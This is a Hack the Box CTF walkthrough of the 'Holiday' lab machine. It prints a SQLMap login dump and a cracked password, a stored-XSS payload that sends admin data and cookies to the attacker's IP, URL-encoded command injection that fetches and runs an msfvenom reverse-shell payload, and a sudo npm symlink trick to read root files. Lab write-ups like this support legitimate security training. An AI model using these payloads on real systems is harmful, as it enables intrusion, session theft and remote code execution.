Hack the Box – Holiday Walkthrough

Today we’re going to solve another CTF machine “Holiday”. It is now retired box and can be accessible if you’re a VIP member.
Introduction
Specifications
- Target OS: Linux
- Services: SSH, HTTP Node.js
- IP Address: 10.10.10.25
- Difficulty: Brainfuck
Weakness
- Obtaining data with stored XSS
- Exploiting NOPASSWD files
Contents
- Getting user
- Getting root
Reconnaissance
As always, the first step consists of reconnaissance phase as port scanning.
Ports Scanning
During this step we’re gonna identify the target to see what we have behind the IP Address.
Enumerate Directories
We have a HTTP service running on port 8000.
Let’s run directory enumerating tools to find some hidden directories.
We found an /admin path which was redirecting 302 to /login. Now that we have a login field we can test brute force or SQL injection.
SQLMap
Let’s use SQLMap first and see if it’s vulnerable to SQL injection. We’re gonna capture POST data using burp and save it to sqlmap.req
POST /login HTTP/1.1 Host: 10.10.10.25:8000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.25:8000/login DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 29 username=admin&password=admin
Now run SQLMap.
sqlmap -r sqlmap.req --level=5 --risk=3 --dump-all
I used rockyou.txt to crack the hashes but unfortunately we’re not able to crack password.
what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 2 what's the custom dictionary's location? > /usr/share/wordlists/rockyou.txt [01:35:58] [INFO] using custom dictionary do you want to use common password suffixes? (slow!) [y/N] N [01:36:01] [INFO] starting dictionary-based cracking (md5_generic_passwd) [01:36:01] [INFO] starting 8 processes [01:36:23] [WARNING] no clear password(s) found Database: SQLite_masterdb Table: users [1 entry] +----+--------+----------+----------------------------------+ | id | active | username | password | +----+--------+----------+----------------------------------+ | 1 | 1 | RickA | fdc8cd4cff2c19e0d1022e78481ddf36 | +----+--------+----------+----------------------------------+
But let’s test some online crackers such as crackstation.
And using crackstation we’re able to crack the md5 hash.
RickA:nevergonnagiveyouup
After login we can see bunch of information contains names, reference numbers and UUIDs.
We have the ability to view bookings and add notes to the bookings. Something that caught my eye is the following text on the “Add Note” page:
All notes must be approved by an administrator - this process can take up to 1 minute.
There’s some kind of a manual reviewing system by administrator. This should make us think of XSS attacks.
Our goal here is to get “admin” browser to make a web request to us with all of the information we can possible send.
Example:
<img src="x/><script>eval(String.fromCharCode(CHARCODE_HERE));</script>">
http://jdstiles.com/java/cct.html
Convert this into CharCode
var url = "http://localhost:8000/vac/5a8a26f1-b883-4313-b126-109889498a8a"; $.ajax({ method: "GET",url: url,success: function(data) { $.post("http://10.10.14.4:4848/", data);}});
After submitting XSS code we have to listen on our port.
nc -lvp 4848
And we got some response including administrator cookie which we can use to bypass admin login.
Since we have the administrator cookie we can inject and try navigating to /admin directory.
We were successful with it and now we have two options Bookings and Notes.
Bookings page contains RCE.
/admin/export?table=bookings%26ls
Note: %26
instead of &
is required because &
is filtered
Now we’re gonna create a payload using msfvenom.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHSOT=10.10.14.4 LPORT=1338 -f elf > shell
And now we’re gonna run python http server to upload our shell using wget command and start listening to our payload.
We have to convert our IP to decimal in order to upload our shell.
https://www.browserling.com/tools/ip-to-dec
/admin/export?table=bookings%26cd+/tmp%26%26wget+168431108/shell /admin/export?table=bookings%26chmod+777+/tmp/shell /admin/export?table=bookings%26/tmp/shell
And finally got user shell.
Privilege Escalation
Now we move forward to get root. We can use scripts to collect some information or we can do some research manually first which i do most of the time.
This is what LinEnum.sh found
sudo -l Matching Defaults entries for algernon on holiday: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User algernon may run the following commands on holiday: (ALL) NOPASSWD: /usr/bin/npm i *
[email protected]:/home/algernon/app$ sudo -l Matching Defaults entries for algernon on holiday: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User algernon may run the following commands on holiday: (ALL) NOPASSWD: /usr/bin/npm i * [email protected]:/home/algernon/app$ mv package.json package.json.bak [email protected]:/home/algernon/app$ ln -s /root/root.txt package.json && sudo /usr/bin/npm i * npm ERR! Linux 4.4.0-78-generic npm ERR! argv "/usr/bin/nodejs" "/usr/bin/npm" "i" "hex.db" "index.js" "layouts" "node_modules" "npm-debug.log" "package.json" "package.json.bak" "setup" "static" "views" npm ERR! node v6.10.3 npm ERR! npm v3.10.10 npm ERR! file /home/algernon/app/package.json npm ERR! code EJSONPARSE npm ERR! Failed to parse json npm ERR! Unexpected token 'a' at 1:1 npm ERR! {root-flag} npm ERR! ^ npm ERR! File: /home/algernon/app/package.json npm ERR! Failed to parse package.json data.